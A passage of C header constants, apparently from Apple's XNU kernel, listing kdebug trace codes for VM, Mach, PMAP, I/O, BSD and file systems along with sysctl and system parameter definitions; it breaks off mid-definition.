DBG_VM_IOPL_PAGE_WAIT 0x121 #define DBG_VM_PAGE_WAIT_BLOCK 0x122 #define DBG_VM_PAGE_SLEEP 0x123 #define DBG_VM_PAGE_EXPEDITE 0x124 #define DBG_VM_PAGE_EXPEDITE_NO_MEMORY 0x125 #define DBG_VM_PAGE_GRAB 0x126 #define DBG_VM_PAGE_RELEASE 0x127 #define DBG_VM_COMPRESSOR_COMPACT_AND_SWAP 0x128 #define DBG_VM_COMPRESSOR_DELAYED_COMPACT 0x129 #define DBG_VM_OBJECT_SLEEP 0x12a #define DBG_VM_PAGE_WAKEUP 0x12b #define DBG_VM_PAGE_WAKEUP_DONE 0x12c #define DBG_VM_PRESSURE_EVENT 0x130 #define DBG_VM_EXECVE 0x131 #define DBG_VM_WAKEUP_COMPACTOR_SWAPPER 0x132 #define DBG_VM_UPL_REQUEST 0x133 #define DBG_VM_IOPL_REQUEST 0x134 #define DBG_VM_KERN_REQUEST 0x135 #define DBG_VM_DATA_WRITE 0x140 #define DBG_VM_PRESSURE_LEVEL_CHANGE 0x141 #define DBG_VM_PHYS_WRITE_ACCT 0x142 #define DBG_VM_MAP_LOOKUP_ENTRY_FAILURE 0x143 #define VM_DISCONNECT_ALL_PAGE_MAPPINGS 0x00 #define VM_DISCONNECT_TASK_PAGE_MAPPINGS 0x01 #define VM_REAL_FAULT_ADDR_INTERNAL 0x02 #define VM_REAL_FAULT_ADDR_PURGABLE 0x03 #define VM_REAL_FAULT_ADDR_EXTERNAL 0x04 #define VM_REAL_FAULT_ADDR_SHAREDCACHE 0x05 #define VM_REAL_FAULT_FAST 0x06 #define VM_REAL_FAULT_SLOW 0x07 #define VM_MAP_LOOKUP_OBJECT 0x08 #define DBG_ZERO_FILL_FAULT 0x01 #define DBG_PAGEIN_FAULT 0x02 #define DBG_COW_FAULT 0x03 #define DBG_CACHE_HIT_FAULT 0x04 #define DBG_NZF_PAGE_FAULT 0x05 #define DBG_GUARD_FAULT 0x06 #define DBG_PAGEINV_FAULT 0x07 #define DBG_PAGEIND_FAULT 0x08 #define DBG_COMPRESSOR_FAULT 0x09 #define DBG_COMPRESSOR_SWAPIN_FAULT 0x0a #define DBG_COR_FAULT 0x0b #define MACH_TASK_SUSPEND 0x0 #define MACH_TASK_RESUME 0x1 #define MACH_THREAD_SET_VOUCHER 0x2 #define MACH_IPC_MSG_SEND 0x3 #define MACH_IPC_MSG_RECV 0x4 #define MACH_IPC_MSG_RECV_VOUCHER_REFUSED 0x5 #define MACH_IPC_KMSG_FREE 0x6 #define MACH_IPC_VOUCHER_CREATE 0x7 #define MACH_IPC_VOUCHER_CREATE_ATTR_DATA 0x8 #define MACH_IPC_VOUCHER_DESTROY 0x9 #define MACH_IPC_KMSG_INFO 0xa #define MACH_IPC_KMSG_LINK 0xb #define MACH_IPC_PORT_ENTRY_MODIFY 0xc #define MACH_IPC_DESTROY_GUARDED_DESC 0xd #define MACH_THREAD_SUSPEND 0xe #define MACH_THREAD_RESUME 0xf #define MACH_EXCLAVES_SWITCH 0x0 #define MACH_EXCLAVES_XNUPROXY 0x1 #define MACH_EXCLAVES_RPC 0x2 #define MACH_EXCLAVES_UPCALL 0x3 #define MACH_EXCLAVES_BOOT_TASK 0x4 #define MACH_EXCLAVES_SCHEDULER_YIELD 0x0 #define MACH_EXCLAVES_SCHEDULER_SPAWNED 0x1 #define MACH_EXCLAVES_SCHEDULER_TERMINATED 0x2 #define MACH_EXCLAVES_SCHEDULER_WAIT 0x3 #define MACH_EXCLAVES_SCHEDULER_WAKE 0x4 #define MACH_EXCLAVES_SCHEDULER_SUSPENDED 0x5 #define MACH_EXCLAVES_SCHEDULER_RESUMED 0x6 #define MACH_EXCLAVES_SCHEDULER_INTERRUPTED 0x7 #define MACH_EXCLAVES_SCHEDULER_NOTHING_SCHEDULED 0x8 #define MACH_EXCLAVES_SCHEDULER_ALL_EXCLAVES_BOOTED 0x9 #define MACH_EXCLAVES_SCHEDULER_EARLY_ALLOC 0xa #define MACH_EPOCH_SYNC_WAIT_STALE 0x0 #define MACH_EPOCH_SYNC_WAIT 0x1 #define MACH_EPOCH_SYNC_WAKE_NO_WAITERS 0x2 #define MACH_EPOCH_SYNC_WAKE_ONE 0x3 #define MACH_EPOCH_SYNC_WAKE_ALL 0x4 #define MACH_EPOCH_SYNC_WAKE_ONE_WITH_OWNER 0x5 #define MACH_EPOCH_SYNC_WAKE_THREAD 0x6 #define MACH_THREAD_GROUP_NEW 0x0 #define MACH_THREAD_GROUP_FREE 0x1 #define MACH_THREAD_GROUP_SET 0x2 #define MACH_THREAD_GROUP_NAME 0x3 #define MACH_THREAD_GROUP_NAME_FREE 0x4 #define MACH_THREAD_GROUP_FLAGS 0x5 #define MACH_THREAD_GROUP_BLOCK 0x6 #define MACH_THREAD_GROUP_PREADOPT 0x7 #define MACH_THREAD_GROUP_PREADOPT_NEXTTIME 0x8 #define MACH_THREAD_GROUP_PREADOPT_CLEAR 0x9 #define MACH_THREAD_GROUP_PREADOPT_NA 0xa #define MACH_COALITION_NEW 0x0 #define MACH_COALITION_FREE 0x1 #define MACH_COALITION_ADOPT 0x2 #define MACH_COALITION_REMOVE 0x3 #define MACH_COALITION_THREAD_GROUP_SET 0x4 #define PMAP__CREATE 0x0 #define PMAP__DESTROY 0x1 #define PMAP__PROTECT 0x2 #define PMAP__PAGE_PROTECT 0x3 #define PMAP__ENTER 0x4 #define PMAP__REMOVE 0x5 #define PMAP__NEST 0x6 #define PMAP__UNNEST 0x7 #define PMAP__FLUSH_TLBS 0x8 #define PMAP__UPDATE_INTERRUPT 0x9 #define PMAP__ATTRIBUTE_CLEAR 0xa #define PMAP__REUSABLE 0xb #define PMAP__QUERY_RESIDENT 0xc #define PMAP__FLUSH_KERN_TLBS 0xd #define PMAP__FLUSH_DELAYED_TLBS 0xe #define PMAP__FLUSH_TLBS_TO 0xf #define PMAP__FLUSH_EPT 0x10 #define PMAP__FAST_FAULT 0x11 #define PMAP__SWITCH 0x12 #define PMAP__TTE 0x13 #define PMAP__SWITCH_USER_TTB 0x14 #define PMAP__UPDATE_CACHING 0x15 #define PMAP__ATTRIBUTE_CLEAR_RANGE 0x16 #define PMAP__CLEAR_USER_TTB 0x17 #define PMAP__IOMMU_INIT 0x18 #define PMAP__IOMMU_IOVMALLOC 0x19 #define PMAP__IOMMU_IOVMFREE 0x1a #define PMAP__IOMMU_MAP 0x1b #define PMAP__IOMMU_UNMAP 0x1c #define PMAP__IOMMU_IOCTL 0x1d #define PMAP__IOMMU_GRANT_PAGE 0x1e #define PMAP__BATCH_UPDATE_CACHING 0x1f #define PMAP__COLLECT_CACHE_OPS 0x20 #define MACH_EPOCH_CHANGE 0x0 #define MACH_BRIDGE_RCV_TS 0x1 #define MACH_BRIDGE_REMOTE_TIME 0x2 #define MACH_BRIDGE_RESET_TS 0x3 #define MACH_BRIDGE_TS_PARAMS 0x4 #define MACH_BRIDGE_SKIP_TS 0x5 #define MACH_BRIDGE_TS_MISMATCH 0x6 #define MACH_BRIDGE_OBSV_RATE 0x7 #define MICROSTACKSHOT_RECORD 0x0 #define MICROSTACKSHOT_GATHER 0x1 #define STACKSHOT_RECORD 0x2 #define STACKSHOT_RECORD_SHORT 0x3 #define STACKSHOT_KERN_RECORD 0x4 #define SYSDIAGNOSE_NOTIFY_USER 0x0 #define SYSDIAGNOSE_FULL 0x1 #define SYSDIAGNOSE_STACKSHOT 0x2 #define SYSDIAGNOSE_TAILSPIN 0x3 #define SFI_SET_WINDOW 0x0 #define SFI_CANCEL_WINDOW 0x1 #define SFI_SET_CLASS_OFFTIME 0x2 #define SFI_CANCEL_CLASS_OFFTIME 0x3 #define SFI_THREAD_DEFER 0x4 #define SFI_OFF_TIMER 0x5 #define SFI_ON_TIMER 0x6 #define SFI_WAIT_CANCELED 0x7 #define SFI_PID_SET_MANAGED 0x8 #define SFI_PID_CLEAR_MANAGED 0x9 #define SFI_GLOBAL_DEFER 0xa #define ZALLOC_ZCRAM 0x0 #define RMON_ENABLE_CPUUSAGE_MONITOR 0x001 #define RMON_CPUUSAGE_VIOLATED 0x002 #define RMON_CPUUSAGE_SUSPENDED 0x003 #define RMON_CPUUSAGE_VIOLATED_K32A 0x004 #define RMON_CPUUSAGE_VIOLATED_K32B 0x005 #define RMON_CPUUSAGE_RESUMED 0x006 #define RMON_DISABLE_CPUUSAGE_MONITOR 0x00f #define RMON_ENABLE_CPUWAKES_MONITOR 0x011 #define RMON_CPUWAKES_VIOLATED 0x012 #define RMON_CPUWAKES_VIOLATED_K32A 0x014 #define RMON_CPUWAKES_VIOLATED_K32B 0x015 #define RMON_DISABLE_CPUWAKES_MONITOR 0x01f #define RMON_ENABLE_IO_MONITOR 0x021 #define RMON_LOGWRITES_VIOLATED 0x022 #define RMON_PHYSWRITES_VIOLATED 0x023 #define RMON_LOGWRITES_VIOLATED_K32A 0x024 #define RMON_LOGWRITES_VIOLATED_K32B 0x025 #define RMON_DISABLE_IO_MONITOR 0x02f #define HV_X86_ENTER 0x00 #define HV_X86_ENTER_ERROR 0x01 #define HV_X86_TRAP_TASK 0x02 #define HV_X86_TRAP_THREAD 0x03 #define HV_X86_INTERRUPT_INJECT 0x04 #define HV_X86_INTERRUPT_RECV 0x05 #define HV_X86_INTERRUPT_SEND 0x06 #define HV_X86_IPI_SEND 0x07 #define HV_X86_NMI_INJECT 0x08 #define HV_X86_NMI_SEND 0x09 #define HV_X86_LSC_HIT 0x0a #define HV_X86_LSC_INSERT 0x0b #define HV_X86_LSC_INSERT_IMM32 0x0c #define HV_X86_LSC_INVALID 0x0d #define HV_X86_LSC_INVALIDATE 0x0e #define HV_X86_LSC_MISS 0x0f #define HV_X86_TIMER_CANCEL 0x10 #define HV_X86_TIMER_FIRE 0x11 #define HV_X86_TIMER_SCHEDULE 0x12 #define HV_X86_APIC_ACCESS_EXIT 0x13 #define HV_X86_APIC_WRITE_EXIT 0x14 #define HV_X86_EPT_VIOLATION_EXIT 0x15 #define HV_X86_EXC_NMI_EXIT 0x16 #define HV_X86_HLT_EXIT 0x17 #define HV_X86_IO_EXIT 0x18 #define HV_X86_IRQ_EXIT 0x19 #define HV_X86_IRQ_WND_EXIT 0x1a #define HV_X86_MOV_DR_EXIT 0x1b #define HV_X86_NMI_WND_EXIT 0x1c #define HV_X86_RDMSR_EXIT 0x1d #define HV_X86_RDPMC_EXIT 0x1e #define HV_X86_TPR_THRESHOLD_EXIT 0x1f #define HV_X86_VMX_TIMER_EXPIRED_EXIT 0x20 #define HV_X86_WRMSR_EXIT 0x21 #define HV_X86_VCPU_READ_APIC_TRAP 0x22 #define HV_X86_VCPU_READ_VMCS_TRAP 0x23 #define HV_X86_VCPU_RUN_TRAP 0x24 #define HV_X86_VCPU_RUN_UNTIL_TRAP 0x25 #define HV_X86_VCPU_WRITE_APIC_TRAP 0x26 #define HV_X86_VM_ADDRSPACE_CREATE_TRAP 0x27 #define HV_X86_VM_ADDRSPACE_DESTROY_TRAP 0x28 #define HV_X86_VM_INTR_MSI_TRAP 0x29 #define HV_X86_VM_MAP_TRAP 0x2a #define HV_X86_VM_PROTECT_TRAP 0x2b #define HV_X86_VM_UNMAP_TRAP 0x2c #define HV_X86_TSC_OFFSET_SET 0x2d #define VM_RECLAIM_UPDATE_ACCOUNTING 0x01 #define VM_RECLAIM_ENTRIES 0x02 #define VM_RECLAIM_CHUNK 0x03 #define VM_RECLAIM_ENTRY 0x04 #define VM_RECLAIM_ALL_MEMORY 0x05 #define VM_RECLAIM_ASYNC_MEMORY 0x06 #define VM_RECLAIM_INIT 0x07 #define DBG_NETIP 1 #define DBG_NETARP 2 #define DBG_NETUDP 3 #define DBG_NETTCP 4 #define DBG_NETICMP 5 #define DBG_NETIGMP 6 #define DBG_NETRIP 7 #define DBG_NETOSPF 8 #define DBG_NETISIS 9 #define DBG_NETSNMP 10 #define DBG_NETSOCK 11 #define DBG_NETAARP 100 #define DBG_NETDDP 101 #define DBG_NETNBP 102 #define DBG_NETZIP 103 #define DBG_NETADSP 104 #define DBG_NETATP 105 #define DBG_NETASP 106 #define DBG_NETAFP 107 #define DBG_NETRTMP 108 #define DBG_NETAURP 109 #define DBG_NETIPSEC 128 #define DBG_NETVMNET 129 #define DBG_IOINTC 0 #define DBG_IOWORKLOOP 1 #define DBG_IOINTES 2 #define DBG_IOCLKES 3 #define DBG_IOCMDQ 4 #define DBG_IOMCURS 5 #define DBG_IOMDESC 6 #define DBG_IOPOWER 7 #define DBG_IOSERVICE 8 #define DBG_IOREGISTRY 9 #define DBG_IOPORT 10 #define DBG_IOSTORAGE 32 #define DBG_IONETWORK 33 #define DBG_IOKEYBOARD 34 #define DBG_IOHID 35 #define DBG_IOAUDIO 36 #define DBG_IOSERIAL 37 #define DBG_IOTTY 38 #define DBG_IOSAM 39 #define DBG_IOPARALLELATA 40 #define DBG_IOPARALLELSCSI 41 #define DBG_IOSATA 42 #define DBG_IOSAS 43 #define DBG_IOFIBRECHANNEL 44 #define DBG_IOUSB 45 #define DBG_IOBLUETOOTH 46 #define DBG_IOFIREWIRE 47 #define DBG_IOINFINIBAND 48 #define DBG_IOCPUPM 49 #define DBG_IOGRAPHICS 50 #define DBG_HIBERNATE 51 #define DBG_IOTHUNDERBOLT 52 #define DBG_BOOTER 53 #define DBG_IOAUDIO2 54 #define DBG_IOAFK 55 #define DBG_IOSURFACEPA 64 #define DBG_IOMDPA 65 #define DBG_IODARTPA 66 #define DBG_DRVSTORAGE 1 #define DBG_DRVNETWORK 2 #define DBG_DRVKEYBOARD 3 #define DBG_DRVHID 4 #define DBG_DRVAUDIO 5 #define DBG_DRVSERIAL 7 #define DBG_DRVSAM 8 #define DBG_DRVPARALLELATA 9 #define DBG_DRVPARALLELSCSI 10 #define DBG_DRVSATA 11 #define DBG_DRVSAS 12 #define DBG_DRVFIBRECHANNEL 13 #define DBG_DRVUSB 14 #define DBG_DRVBLUETOOTH 15 #define DBG_DRVFIREWIRE 16 #define DBG_DRVINFINIBAND 17 #define DBG_DRVGRAPHICS 18 #define DBG_DRVSD 19 #define DBG_DRVNAND 20 #define DBG_SSD 21 #define DBG_DRVSPI 22 #define DBG_DRVWLAN_802_11 23 #define DBG_DRVSSM 24 #define DBG_DRVSMC 25 #define DBG_DRVMACEFIMANAGER 26 #define DBG_DRVANE 27 #define DBG_DRVETHERNET 28 #define DBG_DRVMCC 29 #define DBG_DRVACCESSORY 30 #define DBG_SOCDIAGS 31 #define DBG_DRVVIRTIO 32 #define DBG_DRVCELLULAR 33 #define DBG_DRVSPMI 34 #define DBG_DLIL_STATIC 1 #define DBG_DLIL_PR_MOD 2 #define DBG_DLIL_IF_MOD 3 #define DBG_DLIL_PR_FLT 4 #define DBG_DLIL_IF_FLT 5 #define DBG_FSRW 0x1 #define DBG_DKRW 0x2 #define DBG_FSVN 0x3 #define DBG_FSLOOOKUP 0x4 #define DBG_JOURNAL 0x5 #define DBG_IOCTL 0x6 #define DBG_BOOTCACHE 0x7 #define DBG_HFS 0x8 #define DBG_APFS 0x9 #define DBG_SMB 0xA #define DBG_MOUNT 0xB #define DBG_EXFAT 0xE #define DBG_MSDOS 0xF #define DBG_ACFS 0x10 #define DBG_THROTTLE 0x11 #define DBG_DECMP 0x12 #define DBG_VFS 0x13 #define DBG_LIVEFS 0x14 #define DBG_NFS 0x15 #define DBG_CONTENT_PROT 0xCF #define DBG_HFS_UPDATE_ACCTIME 0x01 #define DBG_HFS_UPDATE_MODTIME 0x02 #define DBG_HFS_UPDATE_CHGTIME 0x04 #define DBG_HFS_UPDATE_MODIFIED 0x08 #define DBG_HFS_UPDATE_FORCE 0x10 #define DBG_HFS_UPDATE_DATEADDED 0x20 #define DBG_HFS_UPDATE_MINOR 0x40 #define DBG_HFS_UPDATE_SKIPPED 0x80 #define DBG_VFS_IO_COMPRESSION_STATS 0x1000 #define DBG_BSD_PROC 0x01 #define DBG_BSD_MEMSTAT 0x02 #define DBG_BSD_KEVENT 0x03 #define DBG_BSD_EXCP_SC 0x0C #define DBG_BSD_AIO 0x0D #define DBG_BSD_SC_EXTENDED_INFO 0x0E #define DBG_BSD_SC_EXTENDED_INFO2 0x0F #define DBG_BSD_KDEBUG_TEST 0xFF #define BSD_PROC_EXIT 1 #define BSD_PROC_FRCEXIT 2 #define BSD_PROC_EXEC 3 #define BSD_PROC_EXITREASON_CREATE 4 #define BSD_PROC_EXITREASON_COMMIT 5 #define BSD_MEMSTAT_SCAN 1 #define BSD_MEMSTAT_JETSAM 2 #define BSD_MEMSTAT_JETSAM_HIWAT 3 #define BSD_MEMSTAT_FREEZE 4 #define BSD_MEMSTAT_FREEZE_SCAN 5 #define BSD_MEMSTAT_UPDATE 6 #define BSD_MEMSTAT_IDLE_DEMOTE 7 #define BSD_MEMSTAT_CLEAR_ERRORS 8 #define BSD_MEMSTAT_DIRTY_TRACK 9 #define BSD_MEMSTAT_DIRTY_SET 10 #define BSD_MEMSTAT_DIRTY_CLEAR 11 #define BSD_MEMSTAT_FAST_JETSAM 15 #define BSD_MEMSTAT_COMPACTOR_RUN 16 #define BSD_MEMSTAT_FREEZE_DISABLE 17 #define BSD_MEMSTAT_RELAUNCH_FLAGS 18 #define BSD_KEVENT_KQ_PROCESS_BEGIN 1 #define BSD_KEVENT_KQ_PROCESS_END 2 #define BSD_KEVENT_KQWQ_PROCESS_BEGIN 3 #define BSD_KEVENT_KQWQ_PROCESS_END 4 #define BSD_KEVENT_KQWQ_BIND 5 #define BSD_KEVENT_KQWQ_UNBIND 6 #define BSD_KEVENT_KQWQ_THREQUEST 7 #define BSD_KEVENT_KQWL_PROCESS_BEGIN 8 #define BSD_KEVENT_KQWL_PROCESS_END 9 #define BSD_KEVENT_KQWL_THREQUEST 10 #define BSD_KEVENT_KQWL_THADJUST 11 #define BSD_KEVENT_KQ_REGISTER 12 #define BSD_KEVENT_KQWQ_REGISTER 13 #define BSD_KEVENT_KQWL_REGISTER 14 #define BSD_KEVENT_KNOTE_ACTIVATE 15 #define BSD_KEVENT_KQ_PROCESS 16 #define BSD_KEVENT_KQWQ_PROCESS 17 #define BSD_KEVENT_KQWL_PROCESS 18 #define BSD_KEVENT_KQWL_BIND 19 #define BSD_KEVENT_KQWL_UNBIND 20 #define BSD_KEVENT_KNOTE_ENABLE 21 #define BSD_KEVENT_KNOTE_VANISHED 22 #define DBG_TRACE_DATA 0 #define DBG_TRACE_STRING 1 #define DBG_TRACE_INFO 2 #define DBG_CS_IO 0 #define DBG_SEC_KERNEL 0 #define DBG_SEC_SANDBOX 1 #define DBG_MT_INSTRS_CYCLES 1 #define DBG_MT_DEBUG 2 #define DBG_MT_RESOURCES_PROC_EXIT 3 #define DBG_MT_RESOURCES_THR_EXIT 4 #define DBG_MT_INSTRS_CYCLES_ON_CPU 5 #define DBG_MT_TMPTH 0xfe #define DBG_MT_TMPCPU 0xff #define DBG_MISC_COREBRIGHTNESS 0x01 #define DBG_MISC_VIDEOENG 0x02 #define DBG_EVENT 0x10 #define DBG_MISC_INSTRUMENTS 0x11 #define DBG_MISC_INSTRUMENTSBT 0x12 #define DBG_MISC_RUNLOOP_DETAILS 0x13 #define DBG_MISC_RUNLOOP_BUSY 0x14 #define DBG_MISC_LAYOUT 0x1a #define DBG_BUFFER 0x20 #define DKIO_DONE 0x01 #define DKIO_READ 0x02 #define DKIO_ASYNC 0x04 #define DKIO_META 0x08 #define DKIO_PAGING 0x10 #define DKIO_THROTTLE 0x20 #define DKIO_PASSIVE 0x40 #define DKIO_NOCACHE 0x80 #define DKIO_TIER_MASK 0xF00 #define DKIO_TIER_SHIFT 8 #define DKIO_TIER_UPGRADE 0x1000 #define DBG_APP_LOGINWINDOW 0x03 #define DBG_APP_AUDIO 0x04 #define DBG_APP_SYSTEMUI 0x05 #define DBG_APP_SIGNPOST 0x0A #define DBG_APP_TAL 0x0B #define DBG_APP_APPKIT 0x0C #define DBG_APP_UIKIT 0x0D #define DBG_APP_DFR 0x0E #define DBG_APP_LAYOUT 0x0F #define DBG_APP_COREDATA 0x10 #define DBG_APP_RUNLOOP_BASIC 0x11 #define DBG_APP_RUNLOOP_ADVANCED 0x12 #define DBG_APP_SAMBA 0x80 #define DBG_APP_EOSSUPPORT 0x81 #define DBG_APP_MACEFIMANAGER 0x82 #define DBG_APP_ENTERPRISE 0x83 #define OPEN_THROTTLE_WINDOW 0x1 #define PROCESS_THROTTLED 0x2 #define IO_THROTTLE_DISABLE 0x3 #define IO_TIER_UPL_MISMATCH 0x4 #define IMP_ASSERTION 0x10 #define IMP_BOOST 0x11 #define IMP_MSG 0x12 #define IMP_WATCHPORT 0x13 #define IMP_TASK_SUPPRESSION 0x17 #define IMP_TASK_APPTYPE 0x18 #define IMP_UPDATE 0x19 #define IMP_USYNCH_QOS_OVERRIDE 0x1A #define IMP_DONOR_CHANGE 0x1B #define IMP_MAIN_THREAD_QOS 0x1C #define IMP_SYNC_IPC_QOS 0x1D #define IMP_TASK_POLICY_DARWIN_BG 0x21 #define IMP_TASK_POLICY_IOPOL 0x22 #define IMP_TASK_POLICY_IO 0x23 #define IMP_TASK_POLICY_PASSIVE_IO 0x24 #define IMP_TASK_POLICY_DARWIN_BG_IOPOL 0x27 #define IMP_TASK_POLICY_BOOST 0x29 #define IMP_TASK_POLICY_ROLE 0x2A #define IMP_TASK_POLICY_TERMINATED 0x2C #define IMP_TASK_POLICY_NEW_SOCKETS_BG 0x2D #define IMP_TASK_POLICY_SUP_ACTIVE 0x2E #define IMP_TASK_POLICY_LATENCY_QOS 0x2F #define IMP_TASK_POLICY_THROUGH_QOS 0x30 #define IMP_TASK_POLICY_WATCHERS_BG 0x31 #define IMP_TASK_POLICY_SFI_MANAGED 0x34 #define IMP_TASK_POLICY_ALL_SOCKETS_BG 0x37 #define IMP_TASK_POLICY_BASE_LATENCY_AND_THROUGHPUT_QOS 0x39 #define IMP_TASK_POLICY_OVERRIDE_LATENCY_AND_THROUGHPUT_QOS 0x3A #define IMP_TASK_POLICY_PIDBIND_BG 0x32 #define IMP_TASK_POLICY_QOS_OVERRIDE 0x36 #define IMP_TASK_POLICY_QOS_AND_RELPRIO 0x38 #define IMP_TASK_POLICY_QOS_WORKQ_OVERRIDE 0x3B #define IMP_TASK_POLICY_QOS_PROMOTE 0x3C #define IMP_TASK_POLICY_QOS_KEVENT_OVERRIDE 0x3D #define IMP_TASK_POLICY_QOS_SERVICER_OVERRIDE 0x3E #define IMP_TASK_POLICY_IOTIER_KEVENT_OVERRIDE 0x3F #define IMP_TASK_POLICY_WI_DRIVEN 0x40 #define IMP_HOLD 0x2 #define IMP_DROP 0x4 #define IMP_EXTERN 0x8 #define IMP_BOOSTED 0x1 #define IMP_UNBOOSTED 0x2 #define IMP_MSG_SEND 0x1 #define IMP_MSG_DELV 0x2 #define IMP_UPDATE_TASK_CREATE 0x1 #define IMP_USYNCH_ADD_OVERRIDE 0x0 #define IMP_USYNCH_REMOVE_OVERRIDE 0x1 #define IMP_DONOR_UPDATE_LIVE_DONOR_STATE 0x0 #define IMP_DONOR_INIT_DONOR_STATE 0x1 #define IMP_SYNC_IPC_QOS_APPLIED 0x0 #define IMP_SYNC_IPC_QOS_REMOVED 0x1 #define IMP_SYNC_IPC_QOS_OVERFLOW 0x2 #define IMP_SYNC_IPC_QOS_UNDERFLOW 0x3 #define TURNSTILE_HEAP_OPERATIONS 0x10 #define TURNSTILE_PRIORITY_OPERATIONS 0x20 #define TURNSTILE_FREELIST_OPERATIONS 0x30 #define THREAD_ADDED_TO_TURNSTILE_WAITQ 0x1 #define THREAD_REMOVED_FROM_TURNSTILE_WAITQ 0x2 #define THREAD_MOVED_IN_TURNSTILE_WAITQ 0x3 #define TURNSTILE_ADDED_TO_TURNSTILE_HEAP 0x4 #define TURNSTILE_REMOVED_FROM_TURNSTILE_HEAP 0x5 #define TURNSTILE_MOVED_IN_TURNSTILE_HEAP 0x6 #define TURNSTILE_ADDED_TO_THREAD_HEAP 0x7 #define TURNSTILE_REMOVED_FROM_THREAD_HEAP 0x8 #define TURNSTILE_MOVED_IN_THREAD_HEAP 0x9 #define TURNSTILE_UPDATE_STOPPED_BY_LIMIT 0xa #define THREAD_NOT_WAITING_ON_TURNSTILE 0xb #define TURNSTILE_PRIORITY_CHANGE 0x1 #define THREAD_USER_PROMOTION_CHANGE 0x2 #define TURNSTILE_PREPARE 0x1 #define TURNSTILE_COMPLETE 0x2 #define BANK_ACCOUNT_INFO 0x10 #define BANK_TASK_INFO 0x11 #define ATM_SUBAID_INFO 0x10 #define ATM_GETVALUE_INFO 0x20 #define ATM_UNREGISTER_INFO 0x30 #define BANK_SETTLE_CPU_TIME 0x1 #define BANK_SECURE_ORIGINATOR_CHANGED 0x2 #define BANK_SETTLE_ENERGY 0x3 #define ATM_MIN_CALLED 0x1 #define ATM_LINK_LIST_TRIM 0x2 #define ATM_VALUE_REPLACED 0x1 #define ATM_VALUE_ADDED 0x2 #define ATM_VALUE_UNREGISTERED 0x1 #define ATM_VALUE_DIFF_MAILBOX 0x2 #define DBG_DAEMON_COREDUET 0x1 #define DBG_DAEMON_POWERD 0x2 #define DBG_UMALLOC_EXTERNAL 0x1 #define DBG_UMALLOC_INTERNAL 0x2 #define BSD 199506 #define BSD4_3 1 #define BSD4_4 1 #define NeXTBSD 1995064 #define NeXTBSD4_0 0 #define MAXCOMLEN 16 #define MAXINTERP 64 #define MAXLOGNAME 255 #define NOFILE 256 #define NOGROUP 65535 #define MAXHOSTNAMELEN 256 #define MAXDOMNAMELEN 256 #define PSWP 0 #define PVM 4 #define PINOD 8 #define PRIBIO 16 #define PVFS 20 #define PZERO 22 #define PSOCK 24 #define PWAIT 32 #define PLOCK 36 #define PPAUSE 40 #define PUSER 50 #define MAXPRI 127 #define PRIMASK 0x0ff #define PCATCH 0x100 #define PTTYBLOCK 0x200 #define PDROP 0x400 #define PSPIN 0x800 #define CMASK 0022 #define CBLOCK 64 #define MAXFRAG 8 #define MAXSYMLINKS 32 #define FSHIFT 11 #define LF_NOT_BOOSTED 0 #define LF_BOOSTED 1 #define PSHMNAMLEN 31 #define SHM_RDONLY 0010000 #define SHM_RND 0020000 #define SHMLBA 4096 #define TIOCM_LE 00001 #define TIOCM_DTR 00002 #define TIOCM_RTS 00004 #define TIOCM_ST 00010 #define TIOCM_SR 00020 #define TIOCM_CTS 00040 #define TIOCM_CAR 00100 #define TIOCM_RNG 00200 #define TIOCM_DSR 00400 #define TIOCPKT_DATA 0x00 #define TIOCPKT_FLUSHREAD 0x01 #define TIOCPKT_FLUSHWRITE 0x02 #define TIOCPKT_STOP 0x04 #define TIOCPKT_START 0x08 #define TIOCPKT_NOSTOP 0x10 #define TIOCPKT_DOSTOP 0x20 #define TIOCPKT_IOCTL 0x40 #define TTYDISC 0 #define TABLDISC 3 #define SLIPDISC 4 #define PPPDISC 5 #define CTL_MAXNAME 12 #define CTLTYPE 0xf #define CTLTYPE_NODE 1 #define CTLTYPE_INT 2 #define CTLTYPE_STRING 3 #define CTLTYPE_QUAD 4 #define CTLTYPE_OPAQUE 5 #define CTLFLAG_RD 0x80000000 #define CTLFLAG_WR 0x40000000 #define CTLFLAG_NOLOCK 0x20000000 #define CTLFLAG_ANYBODY 0x10000000 #define CTLFLAG_SECURE 0x08000000 #define CTLFLAG_MASKED 0x04000000 #define CTLFLAG_NOAUTO 0x02000000 #define CTLFLAG_KERN 0x01000000 #define CTLFLAG_LOCKED 0x00800000 #define CTLFLAG_OID2 0x00400000 #define CTLFLAG_EXPERIMENT 0x00100000 #define OID_AUTO_START 100 #define SYSCTL_OID_VERSION 1 #define SYSCTL_SKMEM 1 #define CTL_UNSPEC 0 #define CTL_KERN 1 #define CTL_VM 2 #define CTL_VFS 3 #define CTL_NET 4 #define CTL_DEBUG 5 #define CTL_HW 6 #define CTL_MACHDEP 7 #define CTL_USER 8 #define CTL_MAXID 9 #define KERN_OSTYPE 1 #define KERN_OSRELEASE 2 #define KERN_OSREV 3 #define KERN_VERSION 4 #define KERN_MAXVNODES 5 #define KERN_MAXPROC 6 #define KERN_MAXFILES 7 #define KERN_ARGMAX 8 #define KERN_SECURELVL 9 #define KERN_HOSTNAME 10 #define KERN_HOSTID 11 #define KERN_CLOCKRATE 12 #define KERN_VNODE 13 #define KERN_PROC 14 #define KERN_FILE 15 #define KERN_PROF 16 #define KERN_POSIX1 17 #define KERN_NGROUPS 18 #define KERN_JOB_CONTROL 19 #define KERN_SAVED_IDS 20 #define KERN_BOOTTIME 21 #define KERN_NISDOMAINNAME 22 #define KERN_MAXPARTITIONS 23 #define KERN_KDEBUG 24 #define KERN_UPDATEINTERVAL 25 #define KERN_OSRELDATE 26 #define KERN_NTP_PLL 27 #define KERN_BOOTFILE 28 #define KERN_MAXFILESPERPROC 29 #define KERN_MAXPROCPERUID 30 #define KERN_DUMPDEV 31 #define KERN_IPC 32 #define KERN_DUMMY 33 #define KERN_PS_STRINGS 34 #define KERN_USRSTACK32 35 #define KERN_LOGSIGEXIT 36 #define KERN_SYMFILE 37 #define KERN_PROCARGS 38 #define KERN_NETBOOT 40 #define KERN_SYSV 42 #define KERN_AFFINITY 43 #define KERN_TRANSLATE 44 #define KERN_EXEC 45 #define KERN_AIOMAX 46 #define KERN_AIOPROCMAX 47 #define KERN_AIOTHREADS 48 #define KERN_PROCARGS2 49 #define KERN_COREFILE 50 #define KERN_COREDUMP 51 #define KERN_SUGID_COREDUMP 52 #define KERN_PROCDELAYTERM 53 #define KERN_SHREG_PRIVATIZABLE 54 #define KERN_LOW_PRI_WINDOW 56 #define KERN_LOW_PRI_DELAY 57 #define KERN_POSIX 58 #define KERN_USRSTACK64 59 #define KERN_NX_PROTECTION 60 #define KERN_TFP 61 #define 